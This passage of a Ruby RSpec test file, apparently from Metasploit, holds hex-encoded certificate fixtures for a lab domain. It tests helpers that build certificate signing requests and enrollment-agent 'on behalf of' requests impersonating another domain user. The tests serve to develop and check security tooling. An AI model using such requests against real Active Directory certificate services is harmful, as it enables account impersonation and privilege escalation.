"\x93\xbb\x12\xea\x36\x7e\x20\x1e\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa3" \
"\x82\x03\x78\x30\x82\x03\x74\x30\x1d\x06\x03\x55\x1d\x0e\x04\x16\x04\x14" \
"\x73\x77\x4b\xc5\xe3\x2e\x39\xba\x18\xec\xc7\x2b\x69\xd9\x1c\xce\x9d\x3b" \
"\x84\x2a\x30\x1f\x06\x03\x55\x1d\x23\x04\x18\x30\x16\x80\x14\xb9\x92\x66" \
"\xb2\x68\xbb\x9b\x46\xd8\x41\x5d\xcb\x16\xb6\xba\x38\xb2\xb1\x78\xd0\x30" \
"\x81\xc6\x06\x03\x55\x1d\x1f\x04\x81\xbe\x30\x81\xbb\x30\x81\xb8\xa0\x81" \
"\xb5\xa0\x81\xb2\x86\x81\xaf\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d" \
"\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x44\x43" \
"\x2c\x43\x4e\x3d\x43\x44\x50\x2c\x43\x4e\x3d\x50\x75\x62\x6c\x69\x63\x25" \
"\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
"\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43\x4e\x3d\x43\x6f\x6e\x66" \
"\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43\x3d\x6d\x73\x66\x6c\x61" \
"\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63\x65\x72\x74\x69\x66\x69" \
"\x63\x61\x74\x65\x52\x65\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4c\x69\x73\x74" \
"\x3f\x62\x61\x73\x65\x3f\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d" \
"\x63\x52\x4c\x44\x69\x73\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x50\x6f\x69" \
"\x6e\x74\x30\x81\xbf\x06\x08\x2b\x06\x01\x05\x05\x07\x01\x01\x04\x81\xb2" \
"\x30\x81\xaf\x30\x81\xac\x06\x08\x2b\x06\x01\x05\x05\x07\x30\x02\x86\x81" \
"\x9f\x6c\x64\x61\x70\x3a\x2f\x2f\x2f\x43\x4e\x3d\x6d\x73\x66\x6c\x61\x62" \
"\x2d\x44\x43\x2d\x43\x41\x2c\x43\x4e\x3d\x41\x49\x41\x2c\x43\x4e\x3d\x50" \
"\x75\x62\x6c\x69\x63\x25\x32\x30\x4b\x65\x79\x25\x32\x30\x53\x65\x72\x76" \
"\x69\x63\x65\x73\x2c\x43\x4e\x3d\x53\x65\x72\x76\x69\x63\x65\x73\x2c\x43" \
"\x4e\x3d\x43\x6f\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6f\x6e\x2c\x44\x43" \
"\x3d\x6d\x73\x66\x6c\x61\x62\x2c\x44\x43\x3d\x6c\x6f\x63\x61\x6c\x3f\x63" \
"\x41\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x3f\x62\x61\x73\x65\x3f" \
"\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x3d\x63\x65\x72\x74\x69\x66" \
"\x69\x63\x61\x74\x69\x6f\x6e\x41\x75\x74\x68\x6f\x72\x69\x74\x79\x30\x0e" \
"\x06\x03\x55\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x05\xa0\x30\x3d\x06\x09" \
"\x2b\x06\x01\x04\x01\x82\x37\x15\x07\x04\x30\x30\x2e\x06\x26\x2b\x06\x01" \
"\x04\x01\x82\x37\x15\x08\x81\xf8\xd8\x15\x86\xcf\xbe\x0a\x82\xf5\x9d\x2c" \
"\x81\x9c\xd5\x54\x82\xeb\x94\x4c\x17\x85\xe8\xbe\x77\x86\xdf\xdd\x7e\x02" \
"\x01\x64\x02\x01\x04\x30\x35\x06\x03\x55\x1d\x25\x04\x2e\x30\x2c\x06\x08" \
"\x2b\x06\x01\x05\x05\x07\x03\x04\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a" \
"\x03\x04\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x02\x06\x0a\x2b\x06\x01\x04" \
"\x01\x82\x37\x14\x02\x01\x30\x43\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x15" \
"\x0a\x04\x36\x30\x34\x30\x0a\x06\x08\x2b\x06\x01\x05\x05\x07\x03\x04\x30" \
"\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x0a\x03\x04\x30\x0a\x06\x08\x2b" \
"\x06\x01\x05\x05\x07\x03\x02\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37" \
"\x14\x02\x01\x30\x45\x06\x03\x55\x1d\x11\x04\x3e\x30\x3c\xa0\x24\x06\x0a" \
"\x2b\x06\x01\x04\x01\x82\x37\x14\x02\x03\xa0\x16\x0c\x14\x61\x6c\x69\x64" \
"\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63\x61\x6c\x81\x14" \
"\x61\x6c\x69\x64\x64\x6c\x65\x40\x6d\x73\x66\x6c\x61\x62\x2e\x6c\x6f\x63" \
"\x61\x6c\x30\x4f\x06\x09\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x04\x42\x30" \
"\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30\x04" \
"\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38\x37\x32" \
"\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33\x36\x31\x38" \
"\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x36\x30\x44\x06\x09\x2a\x86\x48" \
"\x86\xf7\x0d\x01\x09\x0f\x04\x37\x30\x35\x30\x0e\x06\x08\x2a\x86\x48\x86" \
"\xf7\x0d\x03\x02\x02\x02\x00\x80\x30\x0e\x06\x08\x2a\x86\x48\x86\xf7\x0d" \
"\x03\x04\x02\x02\x00\x80\x30\x07\x06\x05\x2b\x0e\x03\x02\x07\x30\x0a\x06" \
"\x08\x2a\x86\x48\x86\xf7\x0d\x03\x07\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7" \
"\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x89\xb2\xb3\xb1\xd8\x61\x9e" \
"\x45\x70\x58\x58\x23\x24\x43\x6c\x4f\x0a\x77\x48\x5c\x2b\xc0\xa3\xf5\x78" \
"\x37\x7c\x58\xb1\x6c\xd8\xa8\xa3\x2f\x5b\x8e\xb9\x4d\x3b\x4a\xcd\xab\x8a" \
"\x3b\x0e\x8a\xd8\x52\x6b\xfa\xe2\x29\xad\x22\x8d\x58\x0f\x98\x05\x61\x54" \
"\xc3\xd9\xb0\x9c\x63\x8a\xb3\x6d\x4b\x25\x0e\x91\x20\xbe\x84\x0c\xa4\xb7" \
"\x51\xd1\xe8\xdc\x08\xe9\xfe\x64\xf1\x86\x5a\xe8\x23\x6a\x14\xb8\xf1\x16" \
"\x09\x27\x0d\xdc\x74\xd1\x28\x48\x90\xc5\x7f\x97\x3d\xee\x80\x34\x08\x65" \
"\x1c\xb0\x41\xac\x4f\x99\x9e\x7d\xed\x5e\xff\xd8\x95\x71\xc4\x4a\x94\x41" \
"\x39\xe5\x6d\x0e\x29\x7c\xb5\x3b\xc4\x11\x8f\x17\xf8\xf9\x8b\x6e\xf1\xd8" \
"\x99\x37\xc2\x75\x0d\xc8\xcf\x01\xba\xbe\x30\x1c\xba\xac\xac\xe2\x7f\x5c" \
"\x5a\xa7\x8d\x60\xb2\x0e\x60\x6a\x6e\x0f\x50\x47\x9e\xab\xc1\xfd\xea\xc2" \
"\x63\xfd\xbc\xf5\x59\x5f\x61\x73\x2e\x6c\x30\x54\x1e\x92\xc1\x4f\x04\xb8" \
"\xbf\xe8\x5d\x58\x1c\x96\x97\x21\x68\xdd\x32\xc2\x35\x88\xb4\x39\xa6\x7f" \
"\xbc\x8d\x67\x9a\x21\x2a\x50\xa6\xcf\x4b\xbd\x0c\xe7\x81\x3e\xa0\x30\xda" \
"\x22\xbc\x10\x30\xfa\x8b\x97\xf0\xf8\x3a\x92\xa9\x70\xac\xfc\x31\x82\x02" \
"\x08\x30\x82\x02\x04\x02\x01\x01\x30\x5d\x30\x46\x31\x15\x30\x13\x06\x0a" \
"\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05\x6c\x6f\x63\x61\x6c\x31" \
"\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x06\x6d" \
"\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55\x04\x03\x13\x0c\x6d\x73" \
"\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x02\x13\x10\x00\x00\x00\x43\x92" \
"\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00\x43\x30\x0b\x06\x09\x60" \
"\x86\x48\x01\x65\x03\x04\x02\x01\xa0\x81\x81\x30\x4e\x06\x0a\x2b\x06\x01" \
"\x04\x01\x82\x37\x0d\x02\x01\x31\x40\x30\x3e\x1e\x1a\x00\x72\x00\x65\x00" \
"\x71\x00\x75\x00\x65\x00\x73\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00" \
"\x6d\x00\x65\x1e\x20\x00\x4d\x00\x53\x00\x46\x00\x4c\x00\x41\x00\x42\x00" \
"\x5c\x00\x73\x00\x6d\x00\x63\x00\x69\x00\x6e\x00\x74\x00\x79\x00\x72\x00" \
"\x65\x30\x2f\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x09\x04\x31\x22\x04\x20" \
"\x3f\x40\x73\xc1\x9c\x54\xeb\xbd\x4d\x4f\xab\x27\xfb\x8b\x65\x1a\x2c\x51" \
"\x24\xf9\x97\x05\x91\x04\xaa\xf7\xbc\x6d\xfd\x07\x4d\x70\x30\x0b\x06\x09" \
"\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x04\x82\x01\x00\x78\x74\xf7\xee\xef" \
"\x89\x2f\x02\x77\xb9\xde\x87\x07\x3a\x58\x1d\x2d\xc0\xb0\x55\x33\x40\xf1" \
"\x6f\xb6\x28\xd6\x44\xf1\xfa\x4f\xf6\x99\xe1\xdc\xb2\x2e\x49\x5b\x36\xa7" \
"\xee\x6f\x82\x67\x27\x43\xd5\x99\x57\xc2\x83\x09\x29\xd2\xb3\x86\x9e\x6f" \
"\x75\x78\xdb\xe3\xeb\x33\x65\xce\x7c\xd4\x8f\x65\x73\xa7\x82\xe4\x5e\x50" \
"\xd3\xe8\x76\xd2\x43\x96\xeb\xe5\x3a\xd1\x03\x2e\xa0\x61\xd7\xf2\x6b\x9e" \
"\x0b\x24\x11\x2a\x25\x4d\x68\x5e\x86\x9c\x9b\xe4\xaa\x6c\x5c\x5c\xfe\x54" \
"\x26\x85\xd8\xcc\x0f\xdd\x69\x0f\xf6\xc3\x0b\x7c\xca\x23\xeb\x99\x8c\xc1" \
"\x69\x80\x69\xd2\x14\x1b\x1b\x99\xde\x25\x59\x12\x8d\xb4\xc0\x01\x56\x32" \
"\x91\x76\x8f\x8b\xd4\x29\x2f\x74\x3e\xca\xe0\xd1\xe8\x68\xde\x9d\x1e\x15" \
"\xd9\x07\x41\x82\x14\x2a\xe9\x5c\x03\x81\x80\x04\xf1\x5b\xa5\xea\x21\x72" \
"\x9d\x98\xa0\x23\x46\x25\xb7\x68\x7d\xc2\x58\x80\xfb\x1c\xbb\x76\xba\x76" \
"\x3a\xba\x1c\xd8\x0f\xbf\x21\x36\xce\x03\x94\x8c\x13\xbd\xc7\x87\x42\x06" \
"\x1c\x2b\xc8\x53\xd1\xa7\xba\xea\xfa\xbc\xba\x8e\xd8\x6f\x1c\x34\x28\x8b" \
"\x87\x0d\xbf\x30\x87\xc1\x6e\xcc\x15\xb5\xd7\x2d\xe4\xe6\xa6\xaa\xe6"
)
end
before(:each) do
subject.datastore['VERBOSE'] = false
allow(driver).to receive(:input).and_return(driver_input)
allow(driver).to receive(:output).and_return(driver_output)
subject.init_ui(driver_input, driver_output)
end
describe '#build_csr' do
let(:result) do
subject.send(:build_csr,
cn: 'aliddle',
private_key: pkcs12_key
)
end
context 'when building' do
it 'return a Request object' do
expect(result).to be_a(OpenSSL::X509::Request)
end
it 'should respond to #to_der' do
expect(result).to respond_to(:to_der)
end
it 'should be correct' do
expect(result.to_der).to eq(x509_csr.to_der)
end
end
context 'when passed a bad algorithm' do
it 'raises a RuntimeError if the algorithm does not exist' do
expect {
subject.send(:build_csr,
cn: 'aliddle',
private_key: pkcs12_key,
algorithm: 'METASPLOIT'
)
}.to raise_error(RuntimeError)
end
end
end
describe '#build_on_behalf_of' do
context 'when building' do
let(:result) do
subject.send(:build_on_behalf_of,
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key
)
end
it 'return a ContentInfo object' do
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
end
it 'should respond to #to_der' do
expect(result).to respond_to(:to_der)
end
it 'should be correct' do
expect(result.to_der).to eq(content_info.to_der)
end
end
context 'when passed a bad algorithm' do
it 'raises an ArgumentError if the algorithm exists but can not be mapped to an OID' do
expect {
subject.send(:build_on_behalf_of,
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'MD4'
)
}.to raise_error(ArgumentError)
end
it 'raises a RuntimeError if the algorithm does not exist' do
expect {
subject.send(:build_on_behalf_of,
csr: x509_csr,
on_behalf_of: 'MSFLAB\\smcintyre',
cert: pkcs12_certificate,
key: pkcs12_key,
algorithm: 'METASPLOIT'
)
}.to raise_error(RuntimeError)
end
end
end
end